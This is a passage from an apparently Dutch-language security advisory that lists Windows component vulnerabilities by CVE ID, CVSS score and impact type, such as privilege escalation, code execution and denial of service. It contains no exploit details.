\n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 